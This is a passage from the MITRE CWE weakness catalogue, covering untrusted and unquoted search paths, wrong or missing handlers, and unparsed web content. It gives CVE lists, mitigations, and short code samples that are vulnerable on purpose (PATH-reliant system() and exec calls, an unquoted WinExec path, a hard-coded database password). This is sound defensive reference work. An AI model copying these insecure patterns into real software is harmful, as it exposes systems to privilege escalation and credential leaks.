- *The attacker creates a malicious program called "ls", and puts that program in /my/dir*
- *The user executes the program.*
- *When system() is executed, the shell consults the PATH to find the ls program*
- *The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".*
- *The program executes the attacker's malicious program with the raised privileges.*

Example 2:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
```

```
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack, as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Example Language: Java *(bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Observed Examples

Reference	Description
CVE-1999-1120	Application relies on its PATH environment variable to find and execute program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1120*
CVE-2008-1810	Database application relies on its PATH environment variable to find and execute program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1810*
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2027*
CVE-2008-3485	Untrusted search path using malicious .EXE in Windows environment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3485*
CVE-2008-2613	setuid program allows compromise using path that finds and loads a malicious library. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2613*
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1319*

Functional Areas

- Program Invocation
- Code Libraries

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	1889
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Research Gap

Search path issues on Windows are under-studied and possibly under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Untrusted Search Path
CLASP			Relative path library search
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
38	Leveraging/Manipulating Configuration File Search Paths

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-176]Michael Howard and David LeBlanc. "Writing Secure Code". 1st Edition. 2001 November 3. Microsoft Press.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-427: Uncontrolled Search Path Element

Weakness ID : 427 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory.

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305
PeerOf	B	426	Untrusted Search Path	917

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Alternate Terms

DLL preloading : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Binary planting : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Insecure library loading : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

Strategy = Attack Surface Reduction

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Strategy = Attack Surface Reduction

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

Demonstrative Examples

Example 1:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Example Language: Java *(bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Observed Examples

Reference	Description
CVE-2010-3402	"DLL hijacking" issue in document editor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3402*
CVE-2010-3397	"DLL hijacking" issue in encryption software. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3397*
CVE-2010-3138	"DLL hijacking" issue in library used by multiple media players. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3138*
CVE-2010-3152	"DLL hijacking" issue in illustration program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3152*
CVE-2010-3147	"DLL hijacking" issue in address book. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3147*
CVE-2010-3135	"DLL hijacking" issue in network monitoring software. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3135*
CVE-2010-3131	"DLL hijacking" issue in web browser. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3131*
CVE-2010-1795	"DLL hijacking" issue in music player/organizer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1795*
CVE-2002-1576	Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1576*
CVE-1999-1461	Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicous version of that program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1461*
CVE-1999-1318	Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1318*
CVE-2003-0579	Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0579*
CVE-2000-0854	When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0854*
CVE-2001-0943	Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0943*
CVE-2001-0942	Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0942*
CVE-2001-0507	Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0507
CVE-2002-2017	Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2017*
CVE-1999-0690	Product includes the current directory in root's PATH variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0690*
CVE-2001-0912	Error during packaging causes product to include a hard-coded, non-standard directory in search path. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0912*
CVE-2001-0289	Product searches current working directory for configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0289*
CVE-2005-1705	Product searches current working directory for configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1705*
CVE-2005-1307	Product executable other program from current working directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1307*
CVE-2002-2040	Untrusted path. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2040*
CVE-2005-2072	Modification of trusted environment variable leads to untrusted path vulnerability. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2072*
CVE-2005-1632	Product searches /tmp for modules before other paths. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1632*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Relationship

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

Maintenance

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Uncontrolled Search Path Element

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
38	Leveraging/Manipulating Configuration File Search Paths
471	Search Order Hijacking

References

[REF-409]Georgi Guninski. "Double clicking on MS Office documents from Windows Explorer may execute arbitrary programs in some cases". Bugtraq. 2000 September 8.

[REF-410]Mitja Kolsek. "ACROS Security: Remote Binary Planting in Apple iTunes for Windows (ASPR #2010-08-18-1)". Bugtraq. 2010 August 8.

[REF-411]Taeho Kwon and Zhendong Su. "Automatic Detection of Vulnerable Dynamic Component Loadings". < http://www.cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf >.

[REF-412]"Dynamic-Link Library Search Order". 2010 September 2. Microsoft. < http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx >.

[REF-413]"Dynamic-Link Library Security". 2010 September 2. Microsoft. < http://msdn.microsoft.com/en-us/library/ff919712%28VS.85%29.aspx >.

[REF-414]"An update on the DLL-preloading remote attack vector". 2010 August 1. Microsoft. < http://blogs.technet.com/b/srd/archive/2010/08/23/an-update-on-the-dll-preloading-remote-attack-vector.aspx >.

[REF-415]"Insecure Library Loading Could Allow Remote Code Execution". 2010 August 3. Microsoft. < http://www.microsoft.com/technet/security/advisory/2269637.mspx >.

[REF-416]HD Moore. "Application DLL Load Hijacking". 2010 August 3. < http://blog.rapid7.com/?p=5325 >.

[REF-417]Oliver Lavery. "DLL Hijacking: Facts and Fiction". 2010 August 6. < http://threatpost.com/en_us/blogs/dll-hijacking-facts-and-fiction-082610 >.

CWE-428: Unquoted Search Path or Element

Weakness ID : 428 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

Extended Description

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
PeerOf	B	426	Untrusted Search Path	917

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows NT *(Prevalence = Sometimes)*

Operating_System : macOS *(Prevalence = Rarely)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Properly quote the full search path before executing a program on the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

Observed Examples

Reference	Description
CVE-2005-1185	Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1185*

Reference	Description
CVE-2005-2938	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C: *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2938*
CVE-2000-1128	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1128*

Functional Areas

- Program Invocation

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Applicable Platform

This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .

Maintenance

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message. An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

Research Gap

Under-studied, probably under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unquoted Search Path or Element

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-430: Deployment of Wrong Handler

Weakness ID : 430 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The wrong "handler" is assigned to process an object.

Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
PeerOf	B	434	Unrestricted Upload of File with Dangerous Type	935
PeerOf	B	434	Unrestricted Upload of File with Dangerous Type	935
CanPrecede	V	433	Unparsed Raw Web Content Delivery	933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Weakness Ordinalities

Resultant : This weakness is usually resultant from other weaknesses.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting an object.

Phase: Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

Observed Examples

Reference	Description
CVE-2001-0004	Source code disclosure via manipulated file extension that causes parsing by wrong DLL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0004*
CVE-2002-0025	Web browser does not properly handle the Content-Type header field, causing a different application to process the document. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0025*
CVE-2000-1052	Source code disclosure by directly invoking a servlet. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1052*
CVE-2002-1742	Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1742*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Handler Deployment

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
11	Cause Web Server Misclassification

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-431: Missing Handler

Weakness ID : 431 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A handler is not available or implemented.

Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
CanPrecede	V	433	Unparsed Raw Web Content Delivery	933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Handle all possible situations (e.g. error condition).

Phase: Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

Demonstrative Examples

Example 1:

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Example Language: Java *(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Handler
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

Weakness ID : 432 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

Extended Description

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	802

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	1861
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Turn off dangerous handlers when performing sensitive operations.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
PLOVER			Dangerous handler not cleared/ disabled during sensitive operations

CWE-433: Unparsed Raw Web Content Delivery

Weakness ID : 433 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file

directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	219	Storage of File with Sensitive Data Under Web Root	509
CanFollow	B	178	Improper Handling of Case Sensitivity	411
CanFollow	B	430	Deployment of Wrong Handler	929
CanFollow	B	431	Missing Handler	931

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting files.

Phase: Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Observed Examples

Reference	Description
CVE-2002-1886	".inc" file stored under web document root and returned unparsed by the server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1886*
CVE-2002-2065	".inc" file stored under web document root and returned unparsed by the server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2065*
CVE-2005-2029	".inc" file stored under web document root and returned unparsed by the server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2029*
CVE-2001-0330	direct request to .pl file leaves it unparsed *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0330*
CVE-2002-0614	.inc file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0614*
CVE-2004-2353	unparsed config.conf file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2353*
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3365*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Relationship

This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unparsed Raw Web Content Delivery

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID : 434 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
PeerOf	B	351	Insufficient Type Distinction	772
PeerOf	B	430	Deployment of Wrong Handler	929
PeerOf	C	436	Interpretation Conflict	944
PeerOf	B	430	Deployment of Wrong Handler	929
CanFollow	B	73	External Control of File Name or Path	125
CanFollow	B	183	Permissive List of Allowed Inputs	424
CanFollow	B	184	Incomplete List of Disallowed Inputs	425

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Weakness Ordinalities

Primary : This can be primary when there is no check at all.

